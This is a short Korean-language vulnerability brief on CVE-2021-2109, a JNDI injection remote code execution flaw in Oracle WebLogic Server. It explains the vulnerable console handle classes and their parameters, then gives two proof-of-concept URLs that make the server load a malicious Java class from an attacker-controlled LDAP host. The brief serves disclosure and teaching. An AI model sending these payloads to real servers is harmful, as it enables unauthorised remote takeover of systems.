[하루한줄] CVE-2021-2109 : 오라클 Weblogic Server 원격 코드 실행 취약점

URL

Weblogic Server remote code execution vulnerability warning (CVE-2021-2109)

Target

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0

Explain

오라클이 개발한 자바 웹 애플리케이션 서버인 Oracle WebLogic Server에서 JNDI Injection을 통한 원격 코드 실행 취약점의 세부 정보가 공개되었습니다.

JNDI(Java Naming and Directory Interface) : 자바 애플리케이션에서 외부 디렉터리 서비스에 접근하기 위한 API로, 원격 서버의 객체를 bind 해 애플리케이션에서 접근할 수 있다.

해당 취약점은 두 클래스에서 발생하며 취약점이 발생하는 첫 번째 클래스인 com.bea.console.handles.JndiBindingHandle 에서는 바인딩할 JNDI의 context, bindName, serverName 정보를 파라미터로 받아 이를 인스턴스화 하고 JNDIBindingAction에서 처리합니다. 각 파라미터의 의미와 공격 조건은 다음과 같습니다.

  • context : 원격 바인딩할 JNDI 서버 호스트

    • JNDI 서버로 구성한 해커의 호스트
  • bindName: 바인딩할 JNDI 클래스 이름

    • 악성 코드를 실행하는 java 클래스 파일 이름
  • serverName : 바인딩할 서버 이름

    • AdminServer
  • 각 필드는 세미콜론 ;으로 구분됩니다.


해커의 서버 포트 1088에 악성 코드를 실행하는 java 클래스 파일 exploit 이 존재한다면 PoC는 아래와 같습니다.

http://[victim_host]/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://[attacker_host];1:1088/exploit;AdminServer")

두 번째 com.bea.console.handles.JndiContextHandle 클래스에서는 bindName이 포함된 contextserverName만을 받아 위와 동일한 환경에서 다음 PoC로 원격 코드 실행이 가능합니다.

http://[victim_host]/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://[attacker_host]:1088/exploit;AdminServer")

Reference

https://github.com/Al1ex/CVE-2021-2109